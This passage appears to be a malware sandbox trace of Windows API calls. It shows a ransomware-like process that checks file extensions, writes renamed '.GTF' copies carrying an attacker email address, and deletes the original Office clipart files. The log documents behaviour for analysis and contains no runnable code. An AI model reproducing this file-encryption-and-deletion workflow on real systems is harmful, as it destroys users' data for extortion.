	[0157.932] lstrlenW (lpString=".bz2") returned 4
	[0157.932] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0157.932] lstrlenW (lpString=".7z") returned 3
	[0157.932] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0157.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0157.932] lstrlenW (lpString=".dbf") returned 4
	[0157.932] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0157.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0157.932] lstrlenW (lpString=".1cd") returned 4
	[0157.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0157.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0157.932] lstrlenW (lpString=".jpg") returned 4
	[0157.932] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0157.932] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0157.932] lstrlenW (lpString="J0099176.WMF") returned 12
	[0157.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0157.933] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=2488) returned 1
	[0157.933] CloseHandle (hObject=0x4a4) returned 1
	[0157.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf")) returned 0x220
	[0157.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0157.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0157.934] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.934] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0157.934] GetLastError () returned 0x0
	[0157.934] ReadFile (in: hFile=0x4a4, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x9b8, lpOverlapped=0x0) returned 1
	[0157.937] WriteFile (in: hFile=0x4b0, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x9c0, lpOverlapped=0x0) returned 1
	[0157.938] ReadFile (in: hFile=0x4a4, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.938] WriteFile (in: hFile=0x4b0, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0157.938] SetEndOfFile (hFile=0x4b0) returned 1
	[0157.938] CloseHandle (hObject=0x4b0) returned 1
	[0157.938] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.938] SetEndOfFile (hFile=0x4a4) returned 1
	[0157.941] CloseHandle (hObject=0x4a4) returned 1
	[0157.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0157.941] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf")) returned 1
	[0157.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0157.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0157.942] lstrlenW (lpString=".doc") returned 4
	[0157.942] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0157.942] lstrlenW (lpString=".docx") returned 5
	[0157.942] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0157.942] lstrlenW (lpString=".pdf") returned 4
	[0157.942] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0157.942] lstrlenW (lpString=".xls") returned 4
	[0157.942] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0157.942] lstrlenW (lpString=".xlsx") returned 5
	[0157.942] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0157.942] lstrlenW (lpString=".ppt") returned 4
	[0157.942] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0157.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0157.942] lstrlenW (lpString=".zip") returned 4
	[0157.942] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0157.942] lstrlenW (lpString=".rar") returned 4
	[0157.942] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0157.942] lstrlenW (lpString=".bz2") returned 4
	[0157.942] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0157.942] lstrlenW (lpString=".7z") returned 3
	[0157.942] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0157.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0157.942] lstrlenW (lpString=".dbf") returned 4
	[0157.943] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0157.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0157.943] lstrlenW (lpString=".1cd") returned 4
	[0157.943] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0157.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0157.943] lstrlenW (lpString=".jpg") returned 4
	[0157.943] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0157.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0157.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0157.943] lstrlenW (lpString=".doc") returned 4
	[0157.943] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0157.943] lstrlenW (lpString=".docx") returned 5
	[0157.943] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0157.943] lstrlenW (lpString=".pdf") returned 4
	[0157.943] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0157.943] lstrlenW (lpString=".xls") returned 4
	[0157.943] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0157.943] lstrlenW (lpString=".xlsx") returned 5
	[0157.943] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0157.943] lstrlenW (lpString=".ppt") returned 4
	[0157.943] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0157.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0157.943] lstrlenW (lpString=".zip") returned 4
	[0157.943] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0157.943] lstrlenW (lpString=".rar") returned 4
	[0157.943] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0157.943] lstrlenW (lpString=".bz2") returned 4
	[0157.943] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0157.943] lstrlenW (lpString=".7z") returned 3
	[0157.943] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0157.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0157.943] lstrlenW (lpString=".dbf") returned 4
	[0157.943] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0157.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0157.943] lstrlenW (lpString=".1cd") returned 4
	[0157.943] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0157.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0157.944] lstrlenW (lpString=".jpg") returned 4
	[0157.944] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0157.944] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0157.944] lstrlenW (lpString="J0099177.WMF") returned 12
	[0157.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0157.944] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=5386) returned 1
	[0157.944] CloseHandle (hObject=0x4a4) returned 1
	[0157.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 0x220
	[0157.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0157.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0157.945] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.945] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0157.948] GetLastError () returned 0x0
	[0157.948] ReadFile (in: hFile=0x4a4, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x150a, lpOverlapped=0x0) returned 1
	[0158.045] WriteFile (in: hFile=0x4b0, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x1510, lpOverlapped=0x0) returned 1
	[0158.046] ReadFile (in: hFile=0x4a4, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.046] WriteFile (in: hFile=0x4b0, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0158.046] SetEndOfFile (hFile=0x4b0) returned 1
	[0158.091] CloseHandle (hObject=0x4b0) returned 1
	[0158.103] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.103] SetEndOfFile (hFile=0x4a4) returned 1
	[0158.119] CloseHandle (hObject=0x4a4) returned 1
	[0158.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0158.120] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 1
	[0158.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0158.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0158.123] lstrlenW (lpString=".doc") returned 4
	[0158.123] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0158.123] lstrlenW (lpString=".docx") returned 5
	[0158.123] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0158.123] lstrlenW (lpString=".pdf") returned 4
	[0158.123] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0158.123] lstrlenW (lpString=".xls") returned 4
	[0158.123] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0158.123] lstrlenW (lpString=".xlsx") returned 5
	[0158.123] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0158.123] lstrlenW (lpString=".ppt") returned 4
	[0158.123] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0158.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0158.123] lstrlenW (lpString=".zip") returned 4
	[0158.123] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0158.123] lstrlenW (lpString=".rar") returned 4
	[0158.123] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0158.123] lstrlenW (lpString=".bz2") returned 4
	[0158.123] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0158.123] lstrlenW (lpString=".7z") returned 3
	[0158.123] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0158.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0158.123] lstrlenW (lpString=".dbf") returned 4
	[0158.123] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0158.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0158.123] lstrlenW (lpString=".1cd") returned 4
	[0158.123] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0158.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0158.123] lstrlenW (lpString=".jpg") returned 4
	[0158.123] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0158.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0158.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0158.123] lstrlenW (lpString=".doc") returned 4
	[0158.123] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0158.123] lstrlenW (lpString=".docx") returned 5
	[0158.124] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0158.124] lstrlenW (lpString=".pdf") returned 4
	[0158.124] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0158.124] lstrlenW (lpString=".xls") returned 4
	[0158.124] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0158.124] lstrlenW (lpString=".xlsx") returned 5
	[0158.124] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0158.124] lstrlenW (lpString=".ppt") returned 4
	[0158.124] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0158.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0158.124] lstrlenW (lpString=".zip") returned 4
	[0158.124] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0158.124] lstrlenW (lpString=".rar") returned 4
	[0158.124] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0158.124] lstrlenW (lpString=".bz2") returned 4
	[0158.124] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0158.124] lstrlenW (lpString=".7z") returned 3
	[0158.124] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0158.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0158.124] lstrlenW (lpString=".dbf") returned 4
	[0158.124] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0158.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0158.124] lstrlenW (lpString=".1cd") returned 4
	[0158.124] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0158.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0158.124] lstrlenW (lpString=".jpg") returned 4
	[0158.124] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0158.124] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0158.124] lstrlenW (lpString="J0099183.WMF") returned 12
	[0158.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0158.125] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=4946) returned 1
	[0158.125] CloseHandle (hObject=0x4a4) returned 1
	[0158.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 0x220
	[0158.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0158.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0158.125] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.126] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0158.126] GetLastError () returned 0x0
	[0158.126] ReadFile (in: hFile=0x4a4, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x1352, lpOverlapped=0x0) returned 1
	[0158.131] WriteFile (in: hFile=0x4b4, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x1360, lpOverlapped=0x0) returned 1
	[0158.132] ReadFile (in: hFile=0x4a4, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.132] WriteFile (in: hFile=0x4b4, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0158.132] SetEndOfFile (hFile=0x4b4) returned 1
	[0158.132] CloseHandle (hObject=0x4b4) returned 1
	[0158.132] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.132] SetEndOfFile (hFile=0x4a4) returned 1
	[0158.135] CloseHandle (hObject=0x4a4) returned 1
	[0158.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0158.135] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 1
	[0158.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0158.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0158.135] lstrlenW (lpString=".doc") returned 4
	[0158.135] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0158.136] lstrlenW (lpString=".docx") returned 5
	[0158.136] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0158.136] lstrlenW (lpString=".pdf") returned 4
	[0158.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0158.136] lstrlenW (lpString=".xls") returned 4
	[0158.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0158.136] lstrlenW (lpString=".xlsx") returned 5
	[0158.136] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0158.136] lstrlenW (lpString=".ppt") returned 4
	[0158.136] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0158.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0158.136] lstrlenW (lpString=".zip") returned 4
	[0158.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0158.136] lstrlenW (lpString=".rar") returned 4
	[0158.136] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0158.136] lstrlenW (lpString=".bz2") returned 4
	[0158.136] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0158.136] lstrlenW (lpString=".7z") returned 3
	[0158.136] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0158.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0158.136] lstrlenW (lpString=".dbf") returned 4
	[0158.136] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0158.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0158.136] lstrlenW (lpString=".1cd") returned 4
	[0158.136] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0158.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0158.136] lstrlenW (lpString=".jpg") returned 4
	[0158.136] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0158.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0158.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0158.136] lstrlenW (lpString=".doc") returned 4
	[0158.136] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0158.136] lstrlenW (lpString=".docx") returned 5
	[0158.136] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0158.136] lstrlenW (lpString=".pdf") returned 4
	[0158.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0158.136] lstrlenW (lpString=".xls") returned 4
	[0158.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0158.137] lstrlenW (lpString=".xlsx") returned 5
	[0158.137] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0158.137] lstrlenW (lpString=".ppt") returned 4
	[0158.137] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0158.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0158.137] lstrlenW (lpString=".zip") returned 4
	[0158.137] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
